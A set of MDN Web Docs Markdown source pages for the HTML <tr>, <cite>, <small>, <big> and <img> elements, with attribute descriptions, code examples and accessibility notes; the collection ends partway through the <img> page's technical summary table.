{{domxref("HTMLDocument", "document")}}; it sorts all the rows (`<tr>` elements) of the {{HTMLElement("tbody")}} based on the contents of the data cells ({{HTMLElement("td")}} elements) contained in the rows. > **Note:** This solution assumes that the {{HTMLElement("td")}} elements are populated by raw text with no descendant elements. ```js const allTables = document.querySelectorAll("table"); for (const table of allTables) { const tBody = table.tBodies[0]; const rows = Array.from(tBody.rows); const headerCells = table.tHead.rows[0].cells; for (const th of headerCells) { const cellIndex = th.cellIndex; th.addEventListener("click", () => { rows.sort((tr1, tr2) => { const tr1Text = tr1.cells[cellIndex].textContent; const tr2Text = tr2.cells[cellIndex].textContent; return tr1Text.localeCompare(tr2Text); }); tBody.append(...rows); }); } } ``` ```css hidden table { border-collapse: collapse; border: 2px solid rgb(140 140 140); font-family: sans-serif; font-size: 0.8rem; letter-spacing: 1px; } th, td { border: 1px solid rgb(160 160 160); padding: 4px 8px; } th { background-color: #505050; color: #fff; cursor: pointer; } ``` #### Result {{EmbedLiveSample('Sorting_rows_with_a_click_on_header_cells', '650', '100')}} > **Note:** To be usable and accessible, the header cell of each sortable column must be identifiable as a sorting button and each must define whether the column is currently sorted in ascending or descending order visually and with the [`aria-sort`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-sort) attribute. See the [ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/)'s [sortable table example](https://www.w3.org/WAI/ARIA/apg/patterns/table/examples/sortable-table/) for more information. > **Note:** To be usable and accessible, the header cell of each sortable column must be identifiable as a sorting button and each must define whether the column is currently sorted in ascending or descending order visually and with the [`aria-sort`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-sort) attribute. See the [ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/)'s [sortable table example](https://www.w3.org/WAI/ARIA/apg/patterns/table/examples/sortable-table/) for more information. ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td>None</td> </tr> <tr> <th scope="row">Permitted content</th> <td> Zero or more {{HTMLElement("td")}} and/or {{HTMLElement("th")}} elements; {{Glossary("script-supporting element", "script-supporting elements")}} ({{HTMLElement("script")}} and {{HTMLElement("template")}}) are also allowed. </td> </tr> <tr> <th scope="row">Tag omission</th> <td> Start tag is mandatory. End tag may be omitted if the {{HTMLElement("tr")}} element is immediately followed by a {{HTMLElement("tr")}} element, or if the row is the last element in its parent table group ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}} or {{HTMLElement("tfoot")}}) element. </td> </tr> <tr> <th scope="row">Permitted parents</th> <td> {{HTMLElement("table")}} (only if the table has no child {{HTMLElement("tbody")}} element, and even then only after any {{HTMLElement("caption")}}, {{HTMLElement("colgroup")}}, and {{HTMLElement("thead")}} elements); otherwise, the parent must be a {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} or {{HTMLElement("tfoot")}} element. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Row_Role" >row</a ></code > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{DOMxRef("HTMLTableRowElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Learn: HTML tables](/en-US/docs/Learn/HTML/Tables) - {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}: Other table-related elements - {{cssxref("background-color")}}: CSS property to set the background color of each row cell - {{cssxref("border")}}: CSS property to control borders of row cells - {{cssxref("text-align")}}: CSS property to horizontally align each row cell content - {{cssxref("vertical-align")}}: CSS property to vertically align each row cell content - {{cssxref(":nth-of-type")}}, {{cssxref(":first-of-type")}}, {{cssxref(":last-of-type")}}: CSS pseudo-classes to select the desired row cells
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/cite/index.md
--- title: "<cite>: The Citation element" slug: Web/HTML/Element/cite page-type: html-element browser-compat: html.elements.cite --- {{HTMLSidebar}} The **`<cite>`** [HTML](/en-US/docs/Web/HTML) element is used to mark up the title of a cited creative work. The reference may be in an abbreviated form according to context-appropriate conventions related to citation metadata. {{EmbedInteractiveExample("pages/tabbed/cite.html", "tabbed-standard")}} ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Usage notes In the context of the `<cite>` element, a creative work that might be cited could be, for example, one of the following: - A book - A research paper - An essay - A poem - A musical score - A song - A play or film script - A film - A television show - A game - A sculpture - A painting - A theatrical production - A play - An opera - A musical - An exhibition - A legal case report - A computer program - A website - A web page - A blog post or comment - A forum post or comment - A tweet - A Facebook post - A written or oral statement - And so forth. To include a reference to the source of quoted material which is contained within a {{HTMLElement("blockquote")}} or {{HTMLElement("q")}} element, use the [`cite`](/en-US/docs/Web/HTML/Element/blockquote#cite) attribute on the element. Typically, browsers style the contents of a `<cite>` element in italics by default. To avoid this, apply the CSS {{cssxref("font-style")}} property to the `<cite>` element. ## Examples ```html <p>More information can be found in <cite>[ISO-0000]</cite>.</p> ``` ### Result {{EmbedLiveSample("Example", 640, 80)}} ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, palpable content. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td> {{domxref("HTMLElement")}} Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the {{domxref("HTMLSpanElement")}} interface for this element. </td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - The element {{HTMLElement("blockquote")}} for long quotations. - The element {{HTMLElement("q")}} for inline quotations and the [`cite`](/en-US/docs/Web/HTML/Element/q#cite) attribute.
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/small/index.md
--- title: "<small>: the side comment element" slug: Web/HTML/Element/small page-type: html-element browser-compat: html.elements.small --- {{HTMLSidebar}} The **`<small>`** [HTML](/en-US/docs/Web/HTML) element represents side-comments and small print, like copyright and legal text, independent of its styled presentation. By default, it renders text within it one font-size smaller, such as from `small` to `x-small`. {{EmbedInteractiveExample("pages/tabbed/small.html", "tabbed-shorter")}} ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Examples ### Basic usage ```html <p> This is the first sentence. <small>This whole sentence is in small letters.</small> </p> ``` #### Result {{EmbedLiveSample("Basic_usage")}} ### CSS alternative ```html <p> This is the first sentence. <span style="font-size:0.8em">This whole sentence is in small letters.</span> </p> ``` #### Result {{EmbedLiveSample("CSS_alternative")}} ## Notes Although the `<small>` element, like the {{htmlelement("b")}} and {{htmlelement("i")}} elements, may be perceived to violate the principle of separation between structure and presentation, all three are valid in HTML. Authors are encouraged to use their best judgement when determining whether to use `<small>` or CSS. ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row">Content categories</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a > </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a > </td> </tr> <tr> <th scope="row">Tag omission</th> <td>None; must have both a start tag and an end tag.</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, or any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >flow content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/generic_role" >generic</a ></code > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("b")}} - {{HTMLElement("sub")}} and {{HTMLElement("sup")}} - {{HTMLElement("font")}} - {{HTMLElement("style")}} - HTML 4.01 Specification: [Font Styles](https://www.w3.org/TR/html4/present/graphics.html#h-15.2)
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/big/index.md
--- title: "<big>: The Bigger Text element" slug: Web/HTML/Element/big page-type: html-element status: - deprecated browser-compat: html.elements.big --- {{HTMLSidebar}}{{deprecated_header}} The **`<big>`** [HTML](/en-US/docs/Web/HTML) deprecated element renders the enclosed text at a font size one level larger than the surrounding text (`medium` becomes `large`, for example). The size is capped at the browser's maximum permitted font size. > **Warning:** This element has been removed from the specification and shouldn't be used anymore. Use the CSS {{cssxref("font-size")}} property to adjust the font size. ## Attributes This element has no other attributes than the [global attributes](/en-US/docs/Web/HTML/Global_attributes), common to all elements. ## Examples Here we see examples showing the use of `<big>` followed by an example showing how to accomplish the same results using modern CSS syntax instead. ### Using big This example uses the obsolete `<big>` element to increase the size of some text. #### HTML ```html <p> This is the first sentence. <big>This whole sentence is in bigger letters.</big> </p> ``` #### Result {{EmbedLiveSample("Using_big", 640, 60)}} ### Using CSS `font-size` This example uses the CSS {{cssxref("font-size")}} property to increase the font size by one level. #### CSS ```css .bigger { font-size: larger; } ``` #### HTML ```html <p> This is the first sentence. <span class="bigger">This whole sentence is in bigger letters.</span> </p> ``` #### Result {{EmbedLiveSample("Using_CSS_font-size", 640, 60)}} ## DOM interface This element implements the {{domxref('HTMLElement')}} interface. <!-- ## Technical summary --> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - CSS: {{cssxref("font-size")}}, {{cssxref("font")}} - HTML: {{htmlelement("small")}}, {{htmlelement("font")}}, {{htmlelement("style")}} - HTML 4.01 Specification: [Font Styles](https://www.w3.org/TR/html4/present/graphics.html#h-15.2)
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/img/index.md
--- title: "<img>: The Image Embed element" slug: Web/HTML/Element/img page-type: html-element browser-compat: html.elements.img --- {{HTMLSidebar}} The **`<img>`** [HTML](/en-US/docs/Web/HTML) element embeds an image into the document. {{EmbedInteractiveExample("pages/tabbed/img.html", "tabbed-standard")}} The above example shows usage of the `<img>` element: - The `src` attribute is **required**, and contains the path to the image you want to embed. - The `alt` attribute holds a textual replacement for the image, which is mandatory and **incredibly useful** for accessibility — screen readers read the attribute value out to their users so they know what the image means. Alt text is also displayed on the page if the image can't be loaded for some reason: for example, network errors, content blocking, or linkrot. There are many other attributes to achieve various purposes: - [Referrer](/en-US/docs/Web/HTTP/Headers/Referrer-Policy)/{{glossary("CORS")}} control for security and privacy: see [`crossorigin`](#crossorigin) and [`referrerpolicy`](#referrerpolicy). - Use both [`width`](#width) and [`height`](#height) to set the intrinsic size of the image, allowing it to take up space before it loads, to mitigate content layout shifts. - Responsive image hints with [`sizes`](#sizes) and [`srcset`](#srcset) (see also the {{htmlelement("picture")}} element and our [Responsive images](/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) tutorial). ## Supported image formats The HTML standard doesn't list what image formats to support, so {{glossary("user agent","user agents")}} may support different formats. > **Note:** The [Image file type and format guide](/en-US/docs/Web/Media/Formats/Image_types) provides comprehensive information about image formats and their web browser support. > This section is just a summary! The image file formats that are most commonly used on the web are: - [APNG (Animated Portable Network Graphics)](/en-US/docs/Web/Media/Formats/Image_types#apng_animated_portable_network_graphics) — Good choice for lossless animation sequences (GIF is less performant) - [AVIF (AV1 Image File Format)](/en-US/docs/Web/Media/Formats/Image_types#avif_image) — Good choice for both images and animated images due to high performance. - [GIF (Graphics Interchange Format)](/en-US/docs/Web/Media/Formats/Image_types#gif_graphics_interchange_format) — Good choice for _simple_ images and animations. - [JPEG (Joint Photographic Expert Group image)](/en-US/docs/Web/Media/Formats/Image_types#jpeg_joint_photographic_experts_group_image) — Good choice for lossy compression of still images (currently the most popular). - [PNG (Portable Network Graphics)](/en-US/docs/Web/Media/Formats/Image_types#png_portable_network_graphics) — Good choice for lossless compression of still images (slightly better quality than JPEG). - [SVG (Scalable Vector Graphics)](/en-US/docs/Web/Media/Formats/Image_types#svg_scalable_vector_graphics) — Vector image format. Use for images that must be drawn accurately at different sizes. - [WebP (Web Picture format)](/en-US/docs/Web/Media/Formats/Image_types#webp_image) — Excellent choice for both images and animated images Formats like [WebP](/en-US/docs/Web/Media/Formats/Image_types#webp_image) and [AVIF](/en-US/docs/Web/Media/Formats/Image_types#avif_image) are recommended as they perform much better than PNG, JPEG, GIF for both still and animated images. SVG remains the recommended format for images that must be drawn accurately at different sizes. ## Image loading errors If an error occurs while loading or rendering an image, and an `onerror` event handler has been set for the {{domxref("HTMLElement/error_event", "error")}} event, that event handler will get called. This can happen in several situations, including: - The `src` attribute is empty (`""`) or `null`. - The `src` {{glossary("URL")}} is the same as the URL of the page the user is currently on. - The image is corrupted in some way that prevents it from being loaded. - The image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the `<img>` element's attributes. - The image is in a format not supported by the {{Glossary("user agent")}}. ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - [`alt`](/en-US/docs/Web/API/HTMLImageElement/alt#usage_notes) - : Defines text that can replace the image in the page. > **Note:** Browsers do not always display images. There are a number of situations in which a browser might not display images, such as: > > - Non-visual browsers (such as those used by people with visual impairments) > - The user chooses not to display images (saving bandwidth, privacy reasons) > - The image is invalid or an [unsupported type](#supported_image_formats) > > In these cases, the browser may replace the image with the text in the element's `alt` attribute. For these reasons and others, provide a useful value for `alt` whenever possible. Setting this attribute to an empty string (`alt=""`) indicates that this image is _not_ a key part of the content (it's decoration or a tracking pixel), and that non-visual browsers may omit it from {{glossary("Rendering engine", "rendering")}}. Visual browsers will also hide the broken image icon if the `alt` attribute is empty and the image failed to display. This attribute is also used when copying and pasting the image to text, or saving a linked image to a bookmark. - `crossorigin` - : Indicates if the fetching of the image must be done using a {{glossary("CORS")}} request. Image data from a [CORS-enabled image](/en-US/docs/Web/HTML/CORS_enabled_image) returned from a CORS request can be reused in the {{HTMLElement("canvas")}} element without being marked "[tainted](/en-US/docs/Web/HTML/CORS_enabled_image#what_is_a_tainted_canvas)". If the `crossorigin` attribute is _not_ specified, then a non-CORS request is sent (without the {{httpheader("Origin")}} request header), and the browser marks the image as tainted and restricts access to its image data, preventing its usage in {{HTMLElement("canvas")}} elements. If the `crossorigin` attribute _is_ specified, then a CORS request is sent (with the {{httpheader("Origin")}} request header); but if the server does not opt into allowing cross-origin access to the image data by the origin site (by not sending any {{httpheader("Access-Control-Allow-Origin")}} response header, or by not including the site's origin in any {{httpheader("Access-Control-Allow-Origin")}} response header it does send), then the browser blocks the image from loading, and logs a CORS error to the devtools console. Allowed values: - `anonymous` - : A CORS request is sent with credentials omitted (that is, no {{glossary("cookie", "cookies")}}, [X.509 certificates](https://datatracker.ietf.org/doc/html/rfc5280), or {{httpheader("Authorization")}} request header). - `use-credentials` - : The CORS request is sent with any credentials included (that is, cookies, X.509 certificates, and the `Authorization` request header). If the server does not opt into sharing credentials with the origin site (by sending back the `Access-Control-Allow-Credentials: true` response header), then the browser marks the image as tainted and restricts access to its image data. If the attribute has an invalid value, browsers handle it as if the `anonymous` value was used. See [CORS settings attributes](/en-US/docs/Web/HTML/Attributes/crossorigin) for additional information. - `decoding` - : This attribute provides a hint to the browser as to whether it should perform image decoding along with rendering the other DOM content in a single presentation step that looks more "correct" (`sync`), or render and present the other DOM content first and then decode the image and present it later (`async`). In practice, `async` means that the next paint does not wait for the image to decode. It is often difficult to perceive any noticeable effect when using `decoding` on static `<img>` elements. They'll likely be initially rendered as empty images while the image files are fetched (either from the network or from the cache) and then handled independently anyway, so the "syncing" of content updates is less apparent. However, the blocking of rendering while decoding happens, while often quite small, _can_ be measured — even if it is difficult to observe with the human eye. See [What does the image decoding attribute actually do?](https://www.tunetheweb.com/blog/what-does-the-image-decoding-attribute-actually-do/) for a more detailed analysis (tunetheweb.com, 2023). Using different `decoding` types can result in more noticeable differences when dynamically inserting `<img>` elements into the DOM via JavaScript — see {{domxref("HTMLImageElement.decoding")}} for more details. Allowed values: - `sync` - : Decode the image synchronously along with rendering the other DOM content, and present everything together. - `async` - : Decode the image asynchronously, after rendering and presenting the other DOM content. - `auto` - : No preference for the decoding mode; the browser decides what is best for the user. This is the default value. - `elementtiming` - : Marks the image for observation by the {{domxref("PerformanceElementTiming")}} API. The value given becomes an identifier for the observed image element. See also the [`elementtiming`](/en-US/docs/Web/HTML/Attributes/elementtiming) attribute page. - `fetchpriority` - : Provides a hint of the relative priority to use when fetching the image. Allowed values: - `high` - : Signals a high-priority fetch relative to other images. - `low` - : Signals a low-priority fetch relative to other images. - `auto` - : Default: Signals automatic determination of fetch priority relative to other images. - `height` - : The intrinsic height of the image, in pixels. Must be an integer without a unit. > **Note:** Including `height` and [`width`](#width) enables the aspect ratio of the image to be calculated by the browser prior to the image being loaded. This aspect ratio is used to reserve the space needed to display the image, reducing or even preventing a layout shift when the image is downloaded and painted to the screen. Reducing layout shift is a major component of good user experience and web performance. - `ismap` - : This Boolean attribute indicates that the image is part of a [server-side map](https://en.wikipedia.org/wiki/Image_map#Server-side). If so, the coordinates where the user clicked on the image are sent to the server. > **Note:** This attribute is allowed only if the `<img>` element is a descendant of an {{htmlelement("a")}} element with a valid [`href`](/en-US/docs/Web/HTML/Element/a#href) attribute. This gives users without pointing devices a fallback destination. - `loading` - : Indicates how the browser should load the image: - `eager` - : Loads the image immediately, regardless of whether or not the image is currently within the visible viewport (this is the default value). - `lazy` - : Defers loading the image until it reaches a calculated distance from the viewport, as defined by the browser. The intent is to avoid the network and storage bandwidth needed to handle the image until it's reasonably certain that it will be needed. This generally improves the performance of the content in most typical use cases. > **Note:** Loading is only deferred when JavaScript is enabled. This is an anti-tracking measure, because if a user agent supported lazy loading when scripting is disabled, it would still be possible for a site to track a user's approximate scroll position throughout a session, by strategically placing images in a page's markup such that a server can track how many images are requested and when. > **Note:** Images with `loading` set to `lazy` will never be loaded if they do not intersect a visible part of an element, even if loading them would change that as unloaded images have a `width` and `height` of `0`. Putting `width` and `height` on lazyloaded images fixes this issue and is a best practice, [recommended by the specification](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element). Doing so also helps prevent layout shifts. - `referrerpolicy` - : A string indicating which referrer to use when fetching the resource: - `no-referrer`: The {{HTTPHeader("Referer")}} header will not be sent. - `no-referrer-when-downgrade`: The {{HTTPHeader("Referer")}} header will not be sent to {{Glossary("origin")}}s without {{Glossary("TLS")}} ({{Glossary("HTTPS")}}). - `origin`: The sent referrer will be limited to the origin of the referring page: its [scheme](/en-US/docs/Learn/Common_questions/Web_mechanics/What_is_a_URL), {{Glossary("host")}}, and {{Glossary("port")}}. - `origin-when-cross-origin`: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path. - `same-origin`: A referrer will be sent for {{Glossary("Same-origin policy", "same origin")}}, but cross-origin requests will contain no referrer information. - `strict-origin`: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP). - `strict-origin-when-cross-origin` (default): Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP). - `unsafe-url`: The referrer will include the origin _and_ the path (but not the [fragment](/en-US/docs/Web/API/HTMLAnchorElement/hash), [password](/en-US/docs/Web/API/HTMLAnchorElement/password), or [username](/en-US/docs/Web/API/HTMLAnchorElement/username)). **This value is unsafe**, because it leaks origins and paths from TLS-protected resources to insecure origins. - `sizes` - : One or more strings separated by commas, indicating a set of source sizes. Each source size consists of: 1. A [media condition](/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries#syntax). This must be omitted for the last item in the list. 2. A source size value. Media Conditions describe properties of the _viewport_, not of the _image_. For example, `(max-height: 500px) 1000px` proposes to use a source of 1000px width, if the _viewport_ is not higher than 500px. Source size values specify the intended display size of the image. {{glossary("User agent", "User agents")}} use the current source size to select one of the sources supplied by the `srcset` attribute, when those sources are described using width (`w`) descriptors. The selected source size affects the {{glossary("intrinsic size")}} of the image (the image's display size if no {{glossary("CSS")}} styling is applied). If the `srcset` attribute is absent, or contains no values with a width descriptor, then the `sizes` attribute has no effect. - `src` - : The image {{glossary("URL")}}. Mandatory for the `<img>` element. On {{glossary("Browser", "browsers")}} supporting `srcset`, `src` is treated like a candidate image with a pixel density descriptor `1x`, unless an image with this pixel density descriptor is already defined in `srcset`, or unless `srcset` contains `w` descriptors. - `srcset` - : One or more strings separated by commas, indicating possible image sources for the {{glossary("user agent")}} to use. Each string is composed of: 1. A {{glossary("URL")}} to an image 2. Optionally, whitespace followed by one of: - A width descriptor (a positive integer directly followed by `w`). The width descriptor is divided by the source size given in the `sizes` attribute to calculate the effective pixel density. - A pixel density descriptor (a positive floating point number directly followed by `x`). If no descriptor is specified, the source is assigned the default descriptor of `1x`. It is incorrect to mix width descriptors and pixel density descriptors in the same `srcset` attribute. Duplicate descriptors (for instance, two sources in the same `srcset` which are both described with `2x`) are also invalid. If the `srcset` attribute uses width descriptors, the `sizes` attribute must also be present, or the `srcset` itself will be ignored. The user agent selects any of the available sources at its discretion. This provides them with significant leeway to tailor their selection based on things like user preferences or {{glossary("bandwidth")}} conditions. See our [Responsive images](/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) tutorial for an example. - `width` - : The intrinsic width of the image in pixels. Must be an integer without a unit. - `usemap` - : The partial {{glossary("URL")}} (starting with `#`) of an [image map](/en-US/docs/Web/HTML/Element/map) associated with the element. > **Note:** You cannot use this attribute if the `<img>` element is inside an {{htmlelement("a")}} or {{HTMLElement("button")}} element. ### Deprecated attributes - `align` {{deprecated_inline}} - : Aligns the image with its surrounding context. Use the {{cssxref('float')}} and/or {{cssxref('vertical-align')}} {{glossary("CSS")}} properties instead of this attribute. Allowed values: - `top` - : Equivalent to `vertical-align: top` or `vertical-align: text-top` - `middle` - : Equivalent to `vertical-align: -moz-middle-with-baseline` - `bottom` - : The default, equivalent to `vertical-align: unset` or `vertical-align: initial` - `left` - : Equivalent to `float: left` - `right` - : Equivalent to `float: right` - `border` {{deprecated_inline}} - : The width of a border around the image. Use the {{cssxref('border')}} {{glossary("CSS")}} property instead. - `hspace` {{deprecated_inline}} - : The number of pixels of white space on the left and right of the image. Use the {{cssxref('margin')}} CSS property instead. - `longdesc` {{deprecated_inline}} - : A link to a more detailed description of the image. Possible values are a {{glossary("URL")}} or an element [`id`](/en-US/docs/Web/HTML/Global_attributes#id). > **Note:** This attribute is mentioned in the latest {{glossary("W3C")}} version, [HTML 5.2](https://html.spec.whatwg.org/multipage/obsolete.html#element-attrdef-img-longdesc), but has been removed from the {{glossary("WHATWG")}}'s [HTML Living Standard](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element). It has an uncertain future; authors should use a {{glossary("WAI")}}-{{glossary("ARIA")}} alternative such as [`aria-describedby`](https://www.w3.org/TR/wai-aria-1.1/#aria-describedby) or [`aria-details`](https://www.w3.org/TR/wai-aria-1.1/#aria-details). - `name` {{deprecated_inline}} - : A name for the element. Use the [`id`](/en-US/docs/Web/HTML/Global_attributes#id) attribute instead. - `vspace` {{deprecated_inline}} - : The number of pixels of white space above and below the image. Use the {{cssxref('margin')}} CSS property instead. ## Styling with CSS `<img>` is a [replaced element](/en-US/docs/Web/CSS/Replaced_element); it has a {{cssxref("display")}} value of `inline` by default, but its default dimensions are defined by the embedded image's intrinsic values, like it were `inline-block`. You can set properties like {{cssxref("border")}}/{{cssxref("border-radius")}}, {{cssxref("padding")}}/{{cssxref("margin")}}, {{cssxref("width")}}, {{cssxref("height")}}, etc. on an image. `<img>` has no baseline, so when images are used in an inline formatting context with {{cssxref("vertical-align")}}`: baseline`, the bottom of the image will be placed on the text baseline. You can use the {{cssxref("object-position")}} property to position the image within the element's box, and the {{cssxref("object-fit")}} property to adjust the sizing of the image within the box (for example, whether the image should fit the box or fill it even if clipping is required). Depending on its type, an image may have an intrinsic width and height. For some image types, however, intrinsic dimensions are unnecessary. {{glossary("SVG")}} images, for instance, have no intrinsic dimensions if their root {{SVGElement("svg")}} element doesn't have a `width` or `height` set on it. ## Examples ### Alternative text The following example embeds an image into the page and includes alternative text for accessibility. ```html <img src="favicon144.png" alt="MDN" /> ``` {{ EmbedLiveSample('Alternative_text', '100%', '160') }} ### Image link This example builds upon the previous one, showing how to turn the image into a link. To do so, nest the `<img>` tag inside the {{HTMLElement("a")}}. You should make the alternative text describe the resource the link is pointing to, as if you were using a text link instead. ```html <a href="https://developer.mozilla.org"> <img src="favicon144.png" alt="Visit the MDN site" /> </a> ``` {{ EmbedLiveSample('Image_link', '100%', '160') }} ### Using the srcset attribute In this example we include a `srcset` attribute with a reference to a high-resolution version of the logo; this will be loaded instead of the `src` image on high-resolution devices. The image referenced in the `src` attribute is counted as a `1x` candidate in {{glossary("User agent", "user agents")}} that support `srcset`. ```html <img src="favicon72.png" alt="MDN" srcset="favicon144.png 2x" /> ``` {{EmbedLiveSample("Using_the_srcset_attribute", "100%", "160")}} ### Using the srcset and sizes attributes The `src` attribute is ignored in {{glossary("User agent", "user agents")}} that support `srcset` when `w` descriptors are included. When the `(max-width: 600px)` media condition matches, the 200 pixel-wide image will load (it is the one that matches `200px` most closely), otherwise the other image will load. ```html <img src="clock-demo-200px.png" alt="The time is 12:45." srcset="clock-demo-200px.png 200w, clock-demo-400px.png 400w" sizes="(max-width: 600px) 200px, 50vw" /> ``` {{EmbedLiveSample("Using_the_srcset_and_sizes_attributes", "100%", 350)}} > **Note:** To see the resizing in action, {{LiveSampleLink('Using_the_srcset_and_sizes_attributes', 'view the example on a separate page')}}, so you can actually resize the content area. ## Security and privacy concerns Although `<img>` elements have innocent uses, they can have undesirable consequences for user security and privacy. See [Referer header: privacy and security concerns](/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns) for more information and mitigations. ## Accessibility concerns ### Authoring meaningful alternate descriptions An `alt` attribute's value should provide a clear and concise text replacement for the image's content. It should not describe the presence of the image itself or the file name of the image. If the `alt` attribute is purposefully left off because the image has no textual equivalent, consider alternate methods to present what the image is trying to communicate. #### Don't ```html example-bad <img alt="image" src="penguin.jpg" /> ``` #### Do ```html example-good <img alt="A Rockhopper Penguin is standing on a beach." src="penguin.jpg" /> ``` When an `alt` attribute is not present on an image, some screen readers may announce the image's file name instead. This can be a confusing experience if the file name isn't representative of the image's contents. - [An alt Decision Tree • Images • WAI Web Accessibility Tutorials](https://www.w3.org/WAI/tutorials/images/decision-tree/) - [Alt-texts: The Ultimate Guide — Axess Lab](https://axesslab.com/alt-texts/) - [How to Design Great Alt Text: An Introduction | Deque](https://www.deque.com/blog/great-alt-text-introduction/) - [MDN Understanding WCAG, Guideline 1.1 explanations](/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#guideline_1.1_—_providing_text_alternatives_for_non-text_content) - [Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0](https://www.w3.org/TR/UNDERSTANDING-WCAG20/text-equiv-all.html) ### Identifying SVG as an image Due to a [VoiceOver bug](https://webkit.org/b/216364), VoiceOver does not correctly announce SVG images as images. Include [`role="img"`](/en-US/docs/Web/Accessibility/ARIA/Roles/img_role) to all `<img>` elements with SVG source files to ensure assistive technologies correctly announce the SVG as image content. ```html <img src="mdn.svg" alt="MDN" role="img" /> ``` ### The title attribute The [`title`](/en-US/docs/Web/HTML/Global_attributes#title) attribute is not an acceptable substitute for the `alt` attribute. Additionally, avoid duplicating the `alt` attribute's value in a `title` attribute declared on the same image. Doing so may cause some screen readers to announce the same text twice, creating a confusing experience. The `title` attribute should also not be used as supplemental captioning information to accompany an image's `alt` description. If an image needs a caption, use the [`figure`](/en-US/docs/Web/HTML/Element/figure) and [`figcaption`](/en-US/docs/Web/HTML/Element/figcaption) elements. The value of the `title` attribute is usually presented to the user as a tooltip, which appears shortly after the cursor stops moving over the image. While this _can_ provide additional information to the user, you should not assume that the user will ever see it: the user may only have keyboard or touchscreen. If you have information that's particularly important or valuable for the user, present it inline using one of the methods mentioned above instead of using `title`. - [Using the HTML title attribute – updated | The Paciello Group](https://www.tpgi.com/using-the-html-title-attribute-updated/) ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#embedded_content" >embedded content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#palpable_content" >palpable 